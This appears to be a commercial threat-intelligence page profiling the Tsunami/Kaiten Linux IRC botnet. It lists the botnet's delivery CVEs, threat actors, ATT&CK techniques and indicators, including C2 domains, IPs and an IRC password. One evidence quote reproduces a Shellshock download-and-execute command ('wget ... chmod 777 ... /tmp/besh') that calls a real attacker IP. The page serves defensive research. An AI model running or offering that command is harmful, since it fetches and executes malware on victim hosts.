Skip to main content
Meet us at Black Hat USA 2026— Las Vegas, August 1–6Book a Meeting
Mallory
MalwareUsed by 4 actorsExploits 6 CVEs

Tsunami

Tsunami is a Linux malware family and IRC-controlled bot/backdoor most commonly associated with distributed denial-of-service (DDoS) activity and remote control of compromised systems. The content consistently describes it as an IRC bot that communicates with command-and-control infrastructure over Internet Relay Chat, supports DDoS attacks, and provides backdoor functionality for remote access. It has been observed as an ELF payload, including x86_64 samples, and is frequently detected under names such as Tsunami/Kaiten and TsunamiKit.

The malware has been delivered through multiple intrusion chains and exploitation campaigns. Reported infection vectors include Shellshock exploitation, Apache Log4j exploitation via related botnet activity, malicious VS Code task configuration abuse in the DPRK-linked Contagious Interview campaign, exploitation of Oracle WebLogic and Confluence vulnerabilities by the 8220 gang, and post-compromise deployment on exposed or weakly secured Linux and SSH-accessible systems. It has also been distributed to both IoT/embedded Linux devices and conventional Linux servers.

Capabilities directly mentioned in the content include IRC-based command-and-control, DDoS execution, backdoor access, and use as part of broader botnet operations. Tsunami is also referenced as a component or ancestor in related malware families and operations: Remaiten combines features from Tsunami and LizardStresser/Torlus; Muhstik is described as a Tsunami variant borrowing Mirai code; RapperBot code was reportedly derived in part from Tsunami; and SSHStalker deploys Tsunami/Keiten alongside other IRC bot components.

Threat actor and campaign associations in the content include the China-linked 8220/Water Sigbin cryptomining gang, which deploys Tsunami alongside PwnRig and other tooling; DPRK-linked Contagious Interview activity, where reporting linked VS Code task abuse to deployment of a Tsunami/TsunamiKit backdoor and XMRig; and opportunistic Linux botnet operators targeting SSH-exposed systems. Targeted environments mentioned include Linux servers, cloud workloads, routers, embedded/IoT devices, and organizations in cryptocurrency, fintech, and blockchain sectors when TsunamiKit was used in developer-focused campaigns.

High-confidence indicators and artifacts mentioned include MD5 aec2df8a6cb35aa5b01b0d9f1f879aa1 for a Shellshock-delivered x86_64 ELF Tsunami/Kaiten sample communicating over IRC to 104.192.103.6; MD5 63a86932a5bad5da32ebd1689aa814b3 and 0ba9e6dcfc7451e386704b2846b7e440 for Tsunami samples/backdoor files used in 8220-related activity; and IRC/C2 details from one 8220-linked Tsunami configuration including channel #.br, password ircbot456@, and infrastructure such as c4k-ircd.pwndns.pw, pwn.oracleservice.top, and 51.255.171.23 on ports 80 and 443. ClamAV detections cited include Unix.Malware.Tsunami and Unix.Malware.Tsunami-9915807-0.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

EXPLOITED CVES

Vulnerabilities exploited

6 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

6 CVES
CVE-2014-7169Shellshock incomplete fix in GNU Bash

The downloaded payload (md5: aec2df8a6cb35aa5b01b0d9f1f879aa1) is an x86_64 ELF executable that was submitted to VirusTotal and detected by many vendors as Tsunami/Kaiten. It mainly functions as a DDoS client, but also has backdoor capabilities, communicating over IRC.

via fireeyefireeye.com
CVE-2014-6271Shellshock

The downloaded payload (md5: aec2df8a6cb35aa5b01b0d9f1f879aa1) is an x86_64 ELF executable that was submitted to VirusTotal and detected by many vendors as Tsunami/Kaiten. It mainly functions as a DDoS client, but also has backdoor capabilities, communicating over IRC.

via fireeyefireeye.com
CVE-2021-44228Log4Shell

ClamAV signatures include "Unix.Malware.Tsunami" in the list of malware activity associated with ongoing exploitation campaigns.

via talos intelligence blogblog.talosintelligence.com
CVE-2020-14883Oracle WebLogic Server Console RCE via Authentication Bypass Chain

"Tsunami, a Linux-based malware used primarily for Distributed Denial of Service (DDoS) attacks, is also a key component of both infection chains."

via security online infosecurityonline.info
CVE-2020-14882Oracle WebLogic Server Console Authentication Bypass and RCEExploited in the wild

Currently, there are few samples and the following vulnerabilities are exploited. CVE_2020_14882

via qianxin xlab blogblog.xlab.qianxin.com
CVE-2017-10271Oracle WebLogic WLS-WSAT XML Deserialization RCE

"Tsunami, a Linux-based malware used primarily for Distributed Denial of Service (DDoS) attacks, is also a key component of both infection chains."

via security online infosecurityonline.info
THREAT ACTORS

Groups observed using it

4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
TeamTNT

Indicators of Compromise ... 37cb34a044c70d1acea5a3a91580b7bfc2a8e687 ELF binary, potentially Tsunami

via sentinelone labssentinelone.com
8220 Gang

“bi.64 -> Tsunami… Tsunami is a popular botnet that controls and communicates through the IRC protocol. Its main functions include remote control and DDoS attacks.”

via qianxin xlab blogblog.xlab.qianxin.com
8220

“bi.64 -> Tsunami… Tsunami is a popular botnet that controls and communicates through the IRC protocol. Its main functions include remote control and DDoS attacks.”

via qianxin xlab blogblog.xlab.qianxin.com
Contagious Interview

Listed in several Lazarus/BeaverTail/InvisibleFerret related items as “tsunami,” including “Lazarus Tsunami InvisibleFerret.”

MITRE ATT&CK

Techniques & procedures

7 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1588.002ToolEvidence1

“toolset blends… rootkit-class artifacts… PhoenixMiner… Linux.Cryptominer.Camelot… EnergyMech… Tsunami… Keiten… large back-catalog of Linux 2.6.x-era exploits”

Defense Impairment

1 technique
T1222File and Directory Permissions ModificationEvidence1

The injected BASH commands above download a file, change its permissions to read/write/execute for all users, and executes the file... chmod 777 /tmp/besh

Credential Access

1 technique
T1110Brute ForceEvidence1

“SSHStalker breaks into Linux servers via mass SSH scanning and brute force…”

Command and Control

2 techniques
T1071.001Web ProtocolsEvidence4

The command and control for Remaiten are handled by IRC communications. Additionally the command and control is done by an actual IRC channel rather than only the IRC protocol.

T1105Ingress Tool TransferEvidence2

We have observed a number of injected BASH commands that attempt to download malware to vulnerable hosts... wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;

Impact

2 techniques
T1498Network Denial of ServiceEvidence1

Authorities claim they’ve gained control of Rapper Bot and stopped attacks emanating from what they described as “among the most powerful DDoS botnets to have ever existed.” ... Rapper Bot allegedly conducted more than 370,000 attacks... Officials said Rapper Bot regularly conducted DDoS attacks measured between two to three terabits per second, adding that Rapper Bot’s largest attack may have exceeded six terabits per second.

T1499Endpoint Denial of ServiceEvidence1

We have observed a significant amount of overtly malicious traffic leveraging BASH, including... DDoS... The idea here is to convert exploited Web servers into on-demand DDoS clients.

INDICATORS OF COMPROMISE

IOCs tracked for this family

7 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
4 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
2 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
1 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
hash.sha1●●●●●●●●●●●●View more in app1 year ago
ip.v4●●●●●●●●●●●●View more in app2 years ago
hash.md5●●●●●●●●●●●●View more in app2 years ago
ip.v4●●●●●●●●●●●●View more in app2 years ago
domain●●●●●●●●●●●●View more in app2 years ago
domain●●●●●●●●●●●●View more in app2 years ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching7

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution4

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities6

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping7

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.